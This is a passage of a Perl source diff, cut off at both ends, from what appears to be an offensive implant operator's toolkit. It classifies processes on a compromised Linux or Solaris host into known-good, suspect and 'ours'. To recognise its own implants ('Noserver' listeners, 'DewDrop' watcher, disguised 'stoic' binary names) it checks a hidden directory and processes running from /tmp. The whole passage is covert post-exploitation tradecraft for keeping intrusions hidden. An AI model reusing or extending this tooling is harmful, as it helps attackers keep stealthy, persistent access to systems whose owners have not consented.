"1", 'PPID' => "0", 'TTY' => "\\?", 'CMD' => qr(^init)}, + { 'UID' => "root", 'PID' => "1", 'PPID' => "0", 'TTY' => "\\?", 'CMD' => qr(^/sbin/init)}, + { 'UID' => "root", 'PID' => "2", 'PPID' => "0", 'TTY' => "\\?", 'CMD' => qr(^\[kthreadd\])}, + + # root / PPID 1 / tty ? + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^\[kthread)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^\[migration)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^\[ksoftirqd)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^\[watchdog)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^\[events)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/libexec/mapping-daemon$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/sbin/acpid$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/bin/dbus-launch --exit-with-session /etc/X11/xinit/Xclients$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/libexec/gconfd-2 5$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/bin/gnome-keyring-daemon$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/libexec/bonobo-activation-server --ac-activate --ior-output-fd=18$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/libexec/gnome-settings-daemon --oaf-activate-iid=OAFIID:GNOME_SettingsDaemon --oaf-ior-fd=22$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/libexec/gam_server$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/bin/metacity --sm-client-id=default1$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^udevd$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^syslogd -m 0$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^klogd -x$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^rpc.idmapd$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^rpc.statd$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/sbin/udevd -d$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^auditd$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/sbin/hcid$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/sbin/sdpd$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^\[krfcommd)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^pcscd$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/sbin/sshd$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^cupsd$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^automount$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/bin/hidd --server$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^sendmail: accepting connections$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^anacron -s$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^crond$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/sbin/atd$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/sbin/smartd -q never$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/libexec/gdm-rh-security-token-helper$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^gpm -m /dev/)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^xinetd -stayalive)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/sbin/httpd$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "pts..", 'CMD' => qr(^\[TUX date)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^\[TUX date)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^\[TUX logger)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^\[TUX manager)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^mcstransd$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/sbin/restorecond$)}, + + # root / tty ? + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^\[rpciod)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^\[cqueue)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^\[khungtaskd)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^\[kpsmoused)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^\[mpt_poll_0)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^\[mpt)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^\[kstriped)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^\[ksnapd)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^\[kmpathd)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^\[kmpath_handlerd)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^\[khelper)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^\[kacpid)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^\[kblockd)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^\[ata)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^\[ata_aux)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^\[aio)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^\[kauditd)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^\[vmhgfs)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^\[vmmemctl)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^\[pdflush)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^\[khubd)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^\[kswapd0)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^\[kseriod)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^\[kjournald)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^\[scsi_eh_0)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^\[khubd)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^/usr/bin/gdm-binary -nodaemon$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^/usr/bin/gdm-binary -nodaemon$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^/usr/X11R6/bin/X :0 -audit 0 -auth /var/gdm/:0.Xauth -nolisten tcp vt7$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^/usr/bin/gnome-session$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^/sbin/pam_timestamp_check -d root$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^/sbin/audispd$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^hald-runner$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^/usr/sbin/gdm-binary -nodaemon$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^hald-addon-storage: )}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^winbindd$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^\[cifsoplockd)}, + + + # Non tty = ? + { 'UID' => "root", 'PID' => "", 'PPID' => "1", 'TTY' => "tty.", 'CMD' => qr(^/sbin/mingetty tty\d$)}, + { 'UID' => "root", 'PID' => "", 'PPID' => "", 'TTY' => "tty.", 'CMD' => qr(^/usr/bin/Xorg :0 )}, + + # Other users + { 'UID' => "htt", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/sbin/htt -retryonerror 0$)}, + { 'UID' => "canna", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/sbin/cannaserver -syslog -u canna$)}, + { 'UID' => "dbus", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^dbus-daemon --system$)}, + { 'UID' => "smmsp", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^sendmail: Queue)}, + { 'UID' => "avahi", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^avahi-daemon: running)}, + { 'UID' => "avahi", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^avahi-daemon: chroot helper$)}, + { 'UID' => "xfs", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^xfs -droppriv -daemon$)}, + { 'UID' => "rpc", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^portmap$)}, + { 'UID' => "gdm", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^/usr/libexec/gdmgreeter$)}, + { 'UID' => "apache", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^/usr/sbin/httpd$)}, + { 'UID' => "nscd", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^/usr/sbin/nscd$)}, + { 'UID' => "ntp", 'PID' => "", 'PPID' => "1", 'TTY' => "\\?", 'CMD' => qr(^ntpd -u ntp:ntp)}, + { 'UID' => "nobody", 'PID' => "", 'PPID' => "", 'TTY' => "\\?", 'CMD' => qr(^\[TUX worker )}, + + ); + + # Cautions + my @yellows = ( + qr(\./), + qr(^/bin/bash --posix \+o history$), + qr(^ps ), +# qr(^/bin/bash ), +# qr(^/bin/sh ), +# qr(^/bin/ksh ), +# qr(^/bin/csh ), +# qr(^/bin/tcsh ), + qr(^sshd: root), + ); + + # Some vars we use in this sub + my ($cangetprocinfo, $hiddensub,@psout,$output) = (); + + + # Until I can find a better way to do this (pscheck style maybe), just do =ps + my $pscmd = "=ps"; + # Holds the concatenated output of our sorted/colored process list for printing to the user + + $hiddensub = &check_hidden; # -ctrl -LR, save substring of our hidden + $cangetprocinfo = &check_proc; # -ls /proc, check for pids + ($mypid, $myppid) = &get_pid; + + if ($hiddensub) { + @hiddenbins = &get_hiddenbins($hiddensub); + } + # List of our local files + if (@hiddenbins > 0) { + $localupfiles = `ls -lR /current/up | egrep -v '^l|/' | tr -s ' ' | cut -d' ' -f5,9 | sort -rnu`; + } + # My own nopenpids array... + foreach (lookupnopenpids(1)) { + push(@nopenpids, $_); + } + + # Build stoic names as a scalar, checking is much faster this way + my @dirs = ("/bin/", "/sbin/", "/usr/bin/", "/usr/sbin/"); + my @pre = ("audit","boot","cache","core","cron","init","inet","filesys","key","ntp","root","sys","rpc","vol"); + my @suf = ("adm","agen","con","clien","inf","mg","stat","ser","svc"); + foreach $dir (@dirs) { + foreach $suf (@suf) { + foreach $pre (@pre) { + $stoicnames .= $dir . $pre . $suf . ' '; + } + } + } + $stoicnames .= '/usr/bin/modload '; + + # Get the process list + my (undef, undef, @psout) = doit($pscmd); + + # Save the header off to use later + my $header = shift @psout; + # Used for keying the procs hash when generating the final output + my @fields = split(/\s+/, $header); + + # Here we remove entries we grepped for or grepped out + # Grep for any entries we do want + if ($opt_g) { + my @procarray; + my @greps = split(/,/, $opt_g); + LINES: for (my $x = 0; $x<= $#psout; $x++) { + foreach my $grep (@greps) { + if ($psout[$x] =~ /$grep/) { + push (@procarray, $psout[$x]); + } + } + } + @psout= @procarray; + } + # Grep out any entries we dont' want + if ($opt_v) { + my @procarray; + my @grepouts = split(/,/, $opt_v); # We loop through output once here + LINES: for (my $x = 0; $x<= $#psout; $x++) { # but we do it to grep out entries + foreach my $grepout (@grepouts) { + if ($psout[$x] =~ /$grepout/) { + next LINES; + } + } + push (@procarray, $psout[$x]); + } + @psout = @procarray; + } + # End removing entries section, process list is now @psout + + # Used for padandcolor() + foreach (@psout) { + $normedlength = length if $length > $maxlength; + } + $normedlength = maxof(160,minof(160,$normedlength)); + + # Warn user if we have a large process list + if (@psout > 300) { + dolocalecho("$COLOR_WARNING Processing ${@psout} lines of output, please be patient... $COLOR_NORMAL"); + } + %procs = &parse_ps(\@psout); + return if $procs{"FAIL"}; + + if (@psout != (keys %procs)+@notparsed) { + my $ops = @psout; + my $nps = keys %procs; + my $notparsed = @notparsed; + mywarn("Error parsing process list, we lost entries somewhere. We have $ops original, $nps parsed and $notparsed not parsed."); + return; + } + + #only if we have a proc filesystem and we can see our hidden dir. + # Otherwise, this can be bad + if ($hiddensub and $cangetprocinfo) { + &getcwds; # Add CWDs to %procs + } + &findus; # Uses %procs -- relies on cwds and hiddensub to verify... + # if we don't have those, dont' bother...too many false positives + + # Check procs against the large arrays (reds, blues, yellows) + PROCS: foreach my $pid (keys %procs) { + next if $procs{$pid}{'NOTES'}; # Skip if this is one of ours + foreach my $regex (keys %reds) { + if ($procs{$pid}{'CMD'} =~ m#$regex#) { + $procs{$pid}{'NOTES'} = "$reds{$regex} ($regex)"; + $procs{$pid}{'COLOR'} = $COLOR_FAILURE; + next PROCS; + } + } + foreach my $regex (@yellows) { + if ($procs{$pid}{'CMD'} =~ m#$regex#) { + $procs{$pid}{'NOTES'} = "Matches $regex"; + $procs{$pid}{'COLOR'} = $COLOR_WARNING; + next PROCS; + } + } + if ($solaristarget) { + foreach my $rhash (@sblues) { + &checkblue($pid, $rhash); + } + } elsif ($linuxtarget) { + foreach my $rhash (@lblues) { + &checkblue($pid, $rhash); + } + } + } + foreach my $key (keys %procs) { + unless ($key =~ /\d/) { + dolocalecho("Uh oh, invalid entry in procs"); + } + } + #### SORT THE PROCESS LIST / BUILD OUTPUT ### + if ($opt_c) { + # Sort by color here + foreach $pid (sort by_color keys %procs) { + my $line; + for (my $x = 0; $x <= $#fields; $x++) { + $line .= $procs{$pid}{$fields[$x]}; + } + if ($procs{$pid}{'COLOR'}) { + if ($procs{$pid}{'COLOR'} eq $COLOR_NOTE) { + $output .= $procs{$pid}{'COLOR'} . $line . $COLOR_NORMAL . "\n"; + } else { + $output .= padandcolor($line, $procs{$pid}{'COLOR'}, $procs{$pid}{'NOTES'}); + } + } else { + $output .= $line . "\n"; + } + } + } elsif ($opt_t) { + # Sort by time here + foreach $pid (sort by_stime keys %procs) { + my $line; + for (my $x = 0; $x <= $#fields; $x++) { + $line .= $procs{$pid}{$fields[$x]}; + } + if ($procs{$pid}{'COLOR'}) { + if ($procs{$pid}{'COLOR'} eq $COLOR_NOTE) { + $output .= $procs{$pid}{'COLOR'} . $line . $COLOR_NORMAL . "\n"; + } else { + $output .= padandcolor($line, $procs{$pid}{'COLOR'}, $procs{$pid}{'NOTES'}); + } + } else { + $output .= $line . "\n"; + } + } + } else { + # Sort by pid here + foreach $pid (sort {$a <=> $b} keys %procs) { + my $line; + for (my $x = 0; $x <= $#fields; $x++) { + $line .= $procs{$pid}{$fields[$x]}; + } + if ($procs{$pid}{'COLOR'}) { + if ($procs{$pid}{'COLOR'} eq $COLOR_NOTE) { + $output .= $procs{$pid}{'COLOR'} . $line . $COLOR_NORMAL . "\n"; + } else { + $output .= padandcolor($line, $procs{$pid}{'COLOR'}, $procs{$pid}{'NOTES'}); + } + } else { + $output .= $line . "\n"; + } + } + } + + # Stats that are printed at the end + $nopenl = 0 unless $nopenl; + my $stats = "You have:\n"; + if ($nopenl >= 1 && $nopens == 0) { + $stats .= "$nopenl Noserver(s) running in callback/listen mode.\n"; + } elsif ($nopenl == 1 && $nopens > 0) { + $stats .= ($nopenl + $nopens ) . " Noserver process(es) running, $nopenl listener with $nopens clients connected.\n"; + } else { + $stats .= $COLOR_WARNING . "A strange number of Noservers...I count $nopenl listeners/callbacks and $nopens clients connected to a listener." . $COLOR_NORMAL . "\n"; + } + if ($ddw == 1 && $ddc == 1) { + $stats .= ($ddw + $ddc) . " DewDrop processes running, $ddw watcher and $ddc child.\n"; + } elsif ($ddw == 0 && $ddc == 0) { + # We have no DD then. + } else { + $stats .= $COLOR_WARNING . "A strange number of DewDrop processes running...I count $ddw watcher and $ddc child process(es)." . $COLOR_NORMAL . "\n"; + } + if (! $hiddensub) { + $stats .= $COLOR_WARNING . "We are not elevated and skipped getting CWD's. Any matches for CWD were not included." . $COLOR_NORMAL . "\n"; + } + my $info = " " x 20 . "|$COLOR_SUCCESS Our Procs $COLOR_NORMAL|$COLOR_WARNING Check Out $COLOR_NORMAL|$COLOR_FAILURE Known Bad $COLOR_NORMAL|$COLOR_NOTE Known Good $COLOR_NORMAL|\n"; + if (@notparsed) { + my $unparsed; + foreach (@notparsed) { + $unparsed .= $_ . "\n"; + } + $output .= "\n$COLOR_WARNING I was unable to parse the following lines:\n$unparsed $COLOR_NORMAL\n"; + } + if ($opt_p) { + dolocalecho("$header\n\n$output\n$header\n\n$info\n$stats", POPUP); + } else { + dolocalecho("$header\n\n$output\n$header\n\n$info\n$stats"); + } +} + +# returns pid and ppid +sub get_pid { + my ($pidl) = doit("-pid"); + if ($pidl =~ m#PID \(PPID\)\s+(\d+) \((\d+)\)#) { + return ($1,$2); + } + return 0; +} + +# Makes sure there is a /proc filesystem +sub check_proc { + my (undef,undef,@out) = doit("-ls -d /proc/1"); + if (@out > 2) { + return 0; + } + return 1; +} + +# Returns a substring of the hidden directory, if we can see it +sub check_hidden { + my $hiddensub = substr($host_hiddendir, 0, length($host_hidden) - 5); + return undef unless $hiddensub; + my ($out) = doit("-ls -d $hiddensub*"); + if ($out =~ m,^drwx.*$host_hiddendir,) { + return $hiddensub + } + return undef; +} + +# get cwds for all procs (uses global %procs) +sub getcwds { + if ($solaristarget) { + my ($output,undef,@output) = doit("for p in /proc/[1-9]* ; do if [ -d \$p/cwd ]; then cd \$p/cwd && pwd | sed \"s,^,\$p:\\\t,g\" ; fi; done 2>/dev/null"); + foreach (@output) { + my ($pid,$cwd) = /\/proc\/(\d+):\s*(\/\.*)/; + next unless $procs{$pid}; + $procs{$pid}{'CWD'} = $cwd if ($cwd and $pid); + } + } elsif ($linuxtarget) { + my ($output,undef,@output) = doit("-ls /proc/[1-9]*/cwd"); + foreach (@output) { + my ($pid,$cwd) = /\/proc\/(\d+)\/cwd -. (\/.*)/; + next unless $procs{$pid}; + $procs{$pid}{'CWD'} = $cwd if ($cwd and $pid); + } + } +} + + +# Returns list of binaries and checks if we can see the hiddendir +sub get_hiddenbins { + my $hidsubstr = shift; + return unless $hidsubstr; + my @files; + # We push these because if isourbin returns 0 as the index in findus, + # we fail when we want to succeed. This file ensures we always return 2+ + push(@files, "RANDOMNONEXISTANTFILE"); + push(@files, 0); + my $cmd = "-ls -R $hidsubstr*"; + #my $cmd = "ls -lR " . $hidsubstr . "* | grep \'\\-rwx\'"; + my ($output, undef, @output) = doit($cmd); + if ($output =~ m#No such file or directory#) { + return 0; + } + foreach my $line (@output) { + my ($size,undef,$file) = $line =~ m#-rwx------\s+\d+\sroot\s+root\s+(\d+)\s\w+\s+\d+\s\d\d:\d\d\s\d{4}\s$host_hiddendir/(.*/)?([\w\d.]+)$#; + next unless length($file) > 0; + push(@files, $file); + push(@files, $size); + } + return @files; +} + +# Parse the process list. We keep the spacing to make it easier to print out later. +sub parse_ps { + my $pslist = shift; + my $proccount = 0; + my %proclist; + if ($solaristarget) { + foreach my $procline (@{$pslist}) { + # UID PID PPID C STIME TTY TIME CMD + if ($procline =~ m#^(\s*\S+\s+)((\d+)\s+)(\d+\s+)(\d+\s+)(((\d\d:\d\d:\d\d)|(\w{3} \d\d)|(-))\s+)(\S+\s+)(\S+\s+)(.*)$#) { + my $pid = $3; + $proclist{$pid}{'UID'} = $1; + $proclist{$pid}{'PID'} = $2; + $proclist{$pid}{'PPID'} = $4; + $proclist{$pid}{'C'} = $5; + $proclist{$pid}{'STIME'} = $6; + $proclist{$pid}{'TTY'} = $11; + $proclist{$pid}{'TIME'} = $12; + $proclist{$pid}{'CMD'} = $13; + $proccount++; + unless ($pid =~ /\d/) { + mywarn("Successful match, but no PID"); + return ("FAIL",1); + } + } else { + push(@notparsed, $procline); + dbg("No match: $procline"); + } + } + } elsif ($linuxtarget) { # we're staring with F , probably linux + foreach my $procline (@{$pslist}) { + # F S UID PID PPID C PRI NI ADDR SZ WCHAN STIME TTY TIME CMD + if ($procline =~ m#^(\d\s)(\w\s)(\S+\s+)((\d+)\s+)(\d+\s+)(\d+\s+)(\S+\s+)(\S+\s)(\S+\s+)(\d+\s)(\S+\s+)(\S+\s+)(\S+\s+)(\S+\s)\s*(.*)$#) { + my $pid = $5; + $proclist{$pid}{'F'} = $1; + $proclist{$pid}{'S'} = $2; + $proclist{$pid}{'UID'} = $3; + $proclist{$pid}{'PID'} = $4; + $proclist{$pid}{'PPID'} = $6; + $proclist{$pid}{'C'} = $7; + $proclist{$pid}{'PRI'} = $8; + $proclist{$pid}{'NI'} = $9; + $proclist{$pid}{'ADDR'} = $10; + $proclist{$pid}{'SZ'} = $11; + $proclist{$pid}{'WCHAN'} = $12; + $proclist{$pid}{'STIME'} = $13; + $proclist{$pid}{'TTY'} = $14; + $proclist{$pid}{'TIME'} = $15; + $proclist{$pid}{'CMD'} = $16; + $proccount++; + unless ($pid =~ /\d/) { + mywarn("Successful match, but no PID"); + return ("FAIL",1); } + } else { + push(@notparsed, $procline); + dbg("No match: $procline"); + } + } + } + if ($proccount == 0) { + mywarn("We couldn't properly parse the process list, quitting!"); + return("FAIL",1); + } + return %proclist; +} + +# used for sortinb by color +sub by_color { + my $c; + $c = $procs{$a}{'COLOR'} cmp $procs{$b}{'COLOR'}; + if ($c == 0) { + $c = $a <=> $b; + } + return $c; +} + +# used for sorting by stime +sub by_stime { + my %mon = ("Jan" => 0, "Feb" => 1, "Mar" => 2, "Apr" => 3, "May" => 4, "Jun" => 5, "Jul" => 6, "Aug" => 7, "Sep" => 8, "Oct" => 9, "Nov" => 10, "Dec" => 11); + my $date = qr((\w{3}) ?(\d{2})); + my $year = qr((\d{4})); + my $time = qr((\d{2}:\d{2}(:\d{2})?)); + my $c; + if ($procs{$a}{'STIME'} =~ /$date/) { + my $amon = $1; + my $aday = $2; + if ($procs{$b}{'STIME'} =~ /$year/) { + return 1; + } elsif ($procs{$b}{'STIME'} =~ /$time/) { + return -1; + } elsif ($procs{$b}{'STIME'} =~ /$date/) { + my $bmon = $1; + my $bday = $2; + $c = $mon{$amon} <=> $mon{$bmon}; + if ($c == 0) { + $c = $aday <=> $bday; + } + } + } elsif ($procs{$a}{'STIME'} =~ /$year/) { + my $ayear = $1; + if ($procs{$b}{'STIME'} =~ /$year/) { + # check year + my $byear = $1; + $c = $ayear <=> $byear; + } elsif ($procs{$b}{'STIME'} =~ /$time/) { + return -1; + } elsif ($procs{$b}{'STIME'} =~ /$date/) { + return -1; + } + } elsif ($procs{$a}{'STIME'} =~ /$time/) { + my $atime = $1; + if ($procs{$b}{'STIME'} =~ /$year/) { + return 1; + } elsif ($procs{$b}{'STIME'} =~ /$time/) { + my $btime = $1; + # Check time + $c = $atime cmp $btime; + } elsif ($procs{$b}{'STIME'} =~ /$date/) { + return 1; + } + } + # Else sort by pid + if ($c == 0) { + $c = $a <=> $b; + } + return $c; +} + + +sub checkblue { + my $pid = shift; + my $rhash = shift; + # The next 3 must match, or we return + return unless $procs{$pid}{'CMD'} =~ m#$rhash->{'CMD'}#; + return unless $procs{$pid}{'UID'} =~ m#$rhash->{'UID'}#; + return unless $procs{$pid}{'TTY'} =~ m#$rhash->{'TTY'}#; + if ($rhash->{'PPID'} ne "") { + if ($procs{$pid}{'PPID'} =~ m#^$rhash->{'PPID'}#) { + if ($rhash->{'PID'} ne "") { + if ($procs{$pid}{'PID'} =~ m#^$rhash->{'PID'}#) { + # We're good, we matched every field + $procs{$pid}{'COLOR'} = $COLOR_NOTE; + next PROCS; + } + } else { + # We're good, we matched all 3 and PPID + $procs{$pid}{'COLOR'} = $COLOR_NOTE; + next PROCS; + } + } + } else { + # We're good, we matched the 3 required + $procs{$pid}{'COLOR'} = $COLOR_NOTE; + next PROCS; + } +} + + +# Find nopen processes +sub isnopen { + my $pid = shift; + if ($pid == $mypid) { + return 1; + } + # Search for noservers uploaded using wBIN + # if we have a process ending with a single space and is run by root + # I should update this to only match the name we got from DD + # Any false matches SHOULD show up in yellow though, as they won't match any of our nopenpids...so that'll help + if (($procs{$pid}{'CMD'} =~ m#^[a-z]+ $#) and ($procs{$pid}{'UID'} =~ m#\s*root\s*#)) { + return 1; + } + # Check for sendmail run by root out of /tmp + if (($procs{$pid}{'CMD'} eq "sendmail") and ($procs{$pid}{'UID'} =~ m#\s*root\s*#) and (($procs{$pid}{'CWD'} eq "/tmp") or ($procs{$pid}{'CWD'} =~ /$host_hiddendir/))) { + return 1; + } + # This can sometimes give false positives (Ex. Your nopen exits and another process starts with the same PID), but its very unlikely to happen on a live target. + foreach (@nopenpids) { + if ($pid == $_) { # If pid matches one of our + if ($procs{$pid}{'CWD'}) { # and we have gotten the cwd + if (($procs{$pid}{'CWD'} =~ /$host_hiddendir/) or ($procs{$pid}{'CWD'} =~ m#/tmp#)) { # make sure it's us + return 1; + } + } else { # If we couldn't get the cwd and pids match...we'll allow it, but only for nopen. user will be warned on non-cwd matches anyway + return 1; + } + } + } + return 0; +} + +# Find child processes of us +sub find_children { + foreach my $pid (sort keys %procs) { + next if $procs{$pid}{'COLOR'}; + # If the parent is set as one of us + my $ppid = $procs{$pid}{'PPID'}; + $ppid =~ s/\s//g; + if ($procs{$ppid}{'COLOR'} eq $COLOR_SUCCESS) { + if ($procs{$ppid}{'NOTES'} ne "DewDrop Watcher") { + $procs{$pid}{'COLOR'} = $COLOR_SUCCESS; + $procs{$pid}{'NOTES'} = "Child of $procs{$ppid}{'NOTES'}"; + } + } + } +} + +# Checks for dd-like processes (dd, sc, etc..) +sub isdd { + my $pid = shift; + return 0 unless $procs{$pid}{'CWD'}; + my $proc; + if ($linuxtarget) { # Linux can add a bunch of whitespace to the end...for some reason + $proc = $procs{$pid}{'CMD'}; + $proc =~ s#\s+$##g; + } else { + $proc = substr($procs{$pid}{'CMD'}, 0, -1); + } + return unless $proc =~ m#^/#; + if ( index($stoicnames, $proc) != -1) { + return 1; + } + return 0; +} + +# Returns the index of the binary if we find it +sub isourbin { + my $pid = shift; + for (my $x = 0; $x <=$#hiddenbins; $x += 2) { + if 